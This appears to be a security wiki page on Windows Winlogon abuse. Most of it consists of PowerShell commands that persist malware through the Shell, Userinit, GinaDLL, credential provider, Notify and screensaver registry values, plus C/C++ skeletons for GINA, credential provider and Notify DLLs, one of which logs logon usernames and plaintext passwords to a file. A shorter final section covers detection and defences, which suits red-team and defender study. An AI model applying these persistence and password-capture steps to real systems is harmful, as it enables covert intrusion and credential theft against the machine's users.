Skip to content

Winlogon

Winlogon.exe is a critical Windows process that manages user logon and logoff. It handles credential requests, profile loading, and session management. Attackers exploit Winlogon registry settings and credential providers to establish persistence and intercept credentials.

Winlogon Overview

Winlogon is responsible for:

  • Managing the logon/logoff process
  • Handling Secure Attention Sequence (SAS) - Ctrl+Alt+Del
  • Loading credential providers
  • Managing GINA DLL (deprecated in Vista+)
  • Screen saver execution
  • Shell initialization

Registry Keys and Values

Winlogon Registry Location

# Main Winlogon registry key
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

# View all Winlogon settings
Get-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
  Get-ItemProperty | Select-Object *

# Key values:
# - Shell: Program to load as shell (default: explorer.exe)
# - Userinit: Programs to run at logon (default: userinit.exe)
# - Notify: DLL files notified of logon events
# - VmApplet: Virtual memory applet location
# - SystemShutdownScript: Script to run at system shutdown

Persistence via Shell Replacement

# Replace shell with malicious executable
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "Shell" -Value "C:\malware\malicious.exe"

# Can also chain multiple programs (original + malware)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "Shell" -Value "explorer.exe C:\malware\malicious.exe"

# Verify the setting
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell"

Persistence via Userinit

# Userinit runs programs at logon (runs before shell)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "Userinit" -Value "C:\Windows\System32\userinit.exe,C:\malware\backdoor.exe"

# Check current value
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "Userinit"

# Multiple entries separated by comma - all execute in sequence

GINA DLL Exploitation (Pre-Vista)

GINA Configuration

# GINA (Graphical Identification and Authentication) - Windows XP/2003
# Location: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

# View current GINA
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "GinaDLL"

# Replace with malicious GINA DLL for credential interception
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "GinaDLL" -Value "C:\Windows\System32\malicious.dll"

GINA DLL Development

// Minimal GINA DLL that intercepts credentials
#include <windows.h>
#include <stdio.h>

typedef int (CALLBACK* REAL_WLXNEGOTIATE)(int, int*);
typedef BOOL (CALLBACK* REAL_WLXINITIALIZE)(PWSTR, HANDLE, PVOID, PVOID, PVOID*);
typedef int (CALLBACK* REAL_WLXDISPLAYSASNOTICE)(PVOID);

REAL_WLXNEGOTIATE Real_WlxNegotiate;
REAL_WLXINITIALIZE Real_WlxInitialize;
REAL_WLXDISPLAYSASNOTICE Real_WlxDisplaySASNotice;

// Intercept logon credentials
int CALLBACK Malicious_WlxLoggedOutSAS(PVOID pWlxContext, UINT uiMsgType,
                                        int iReason, PVOID pvReserved, PVOID* pWlxHandle)
{
    // Log credentials here before passing to real handler
    FILE* log = fopen("C:\\temp\\credentials.txt", "a");
    fprintf(log, "[*] Logon attempt detected\n");
    fclose(log);

    // Call real GINA function
    return 0;
}

Credential Provider Exploitation (Vista+)

Credential Provider Registry

# Credential providers location (Vista and later)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers

# List installed credential providers
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers"

# Each GUID folder represents a credential provider
# Subkey "0" contains the DLL path

# View specific provider
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{GUID}\0"

Malicious Credential Provider Installation

# Create registry entry for custom credential provider
$ProviderGUID = "{12345678-1234-1234-1234-123456789012}"

# Create provider key
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\$ProviderGUID" -Force

# Set DLL path (malicious DLL)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\$ProviderGUID\0" `
  -Name "(Default)" -Value "C:\malware\credprov.dll" -Force

# Set display name
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\$ProviderGUID" `
  -Name "Text" -Value "Malicious Provider" -PropertyType "String" -Force

# The provider will be called during logon, allowing credential interception

Credential Provider C++ Implementation

#include <credentialprovider.h>
#include <windows.h>
#include <stdio.h>

class MaliciousCredentialProvider : public ICredentialProvider
{
private:
    ULONG m_cRef;
    DWORD m_dwProviderFlags;
    DWORD m_dwCredentialFields;

public:
    MaliciousCredentialProvider()
    {
        m_cRef = 1;
    }

    // Intercept credentials during login
    HRESULT GetFieldDescriptorCount(DWORD* pdwCount)
    {
        // Log all credential fields
        FILE* log = fopen("C:\\temp\\credprov.log", "a");
        fprintf(log, "[*] Credential provider accessed\n");
        fclose(log);

        *pdwCount = CPFD_NUM_FIELDS;
        return S_OK;
    }

    // Hook into credential retrieval
    HRESULT GetFieldDescriptorAt(DWORD dwIndex, CREDENTIAL_PROVIDER_FIELD_DESCRIPTOR** ppcpfd)
    {
        // Intercept and modify field behavior
        return S_OK;
    }

    // IUnknown methods
    HRESULT QueryInterface(REFIID riid, void** ppObj)
    {
        if (!ppObj)
            return E_INVALIDARG;

        if (IsEqualIID(riid, IID_IUnknown) || IsEqualIID(riid, IID_ICredentialProvider))
        {
            *ppObj = this;
            AddRef();
            return S_OK;
        }

        return E_NOINTERFACE;
    }

    ULONG AddRef()
    {
        return ++m_cRef;
    }

    ULONG Release()
    {
        ULONG cRef = --m_cRef;
        if (!cRef)
            delete this;
        return cRef;
    }
};

Notify Logon Event DLLs

Logon Event Notification Persistence

# Winlogon sends notifications to DLLs listed in Notify registry key
# Location: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

# View current notify DLLs
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"

# Create custom notification DLL entry
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\MalwareName" -Force

# Set DLL path
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\MalwareName" `
  -Name "DllName" -Value "C:\malware\notify.dll" -Force

# DLL will receive logon/logoff notifications

Notify DLL Example

#include <windows.h>
#include <stdio.h>

// Called on logon event
BOOL APIENTRY WlxLogonNotify(PWSTR pszUserName, PSID pSid, PWSTR pszPassword,
                             PWSTR pszDomain, PWSTR pszOldPassword)
{
    FILE* log = fopen("C:\\temp\\notify.log", "a");
    if (pszUserName)
        fprintf(log, "[+] User logged in: %ws\n", pszUserName);
    if (pszPassword)
        fprintf(log, "[+] Password: %ws\n", pszPassword);
    fclose(log);

    return TRUE;
}

// Called on logoff
BOOL APIENTRY WlxLogoffNotify(PWSTR pszUserName, PSID pSid)
{
    FILE* log = fopen("C:\\temp\\notify.log", "a");
    fprintf(log, "[*] User logged off: %ws\n", pszUserName);
    fclose(log);

    return TRUE;
}

Screen Saver and Idle Exploitation

Screen Saver Persistence

# Winlogon executes screen saver from registry
# Location: HKCU\Control Panel\Desktop

# Replace screen saver with malicious executable
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" `
  -Name "SCRNSAVE.EXE" -Value "C:\malware\screensaver.exe" -Force

# Set screen saver timeout (in seconds)
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" `
  -Name "ScreenSaveTimeOut" -Value 300 -PropertyType DWord -Force

# Verify settings
Get-ItemProperty -Path "HKCU:\Control Panel\Desktop" |
  Select-Object "SCRNSAVE.EXE", "ScreenSaveTimeOut"

Detection and Mitigation

Monitoring Winlogon Modifications

# Monitor registry changes to Winlogon
$RegistryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Get baseline
$Baseline = Get-ItemProperty -Path $RegistryPath

# Compare later
$Current = Get-ItemProperty -Path $RegistryPath
Compare-Object $Baseline $Current

# Use Sysmon to monitor registry changes
# Event ID 13: Registry object added or deleted

Legitimate Winlogon Values

# Check for baseline (should match default Windows installation)
$LegitimateSettings = @{
    "Shell" = "explorer.exe"
    "Userinit" = "C:\Windows\System32\userinit.exe,"
    "VmApplet" = "rundll32 shell32,ShellAboutA"
}

# Compare current settings
$CurrentSettings = Get-ItemProperty -Path $RegPath
foreach ($key in $LegitimateSettings.Keys)
{
    if ($CurrentSettings.$key -ne $LegitimateSettings[$key])
    {
        Write-Warning "Suspicious Winlogon value: $key"
    }
}

Credential Provider Security

# List all credential providers and their status
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers" |
  ForEach-Object {
    $ProviderPath = $_.PSPath
    $DLL = Get-ItemProperty -Path "$ProviderPath\0" -Name "(Default)" -ErrorAction SilentlyContinue
    Write-Host "Provider: $($_.PSChildName) -> DLL: $($DLL.'(Default)')"
  }

# Verify DLL authenticity (signed by Microsoft)
$ProviderDLL = "C:\Windows\System32\credui.dll"
Get-AuthenticodeSignature -FilePath $ProviderDLL | Select-Object Status, SignerCertificate

Defense Strategies

  • Disable deprecated features: Disable GINA on legacy systems
  • Monitor registry changes: Alert on unauthorized Winlogon modifications
  • Credential Guard: Enable Windows Defender Credential Guard (Windows 10+)
  • AppLocker: Restrict DLL loading for Winlogon
  • Code signing verification: Verify digital signatures of credential providers
  • EDR monitoring: Monitor process behavior and registry patterns

References


Last updated: 2026-03-30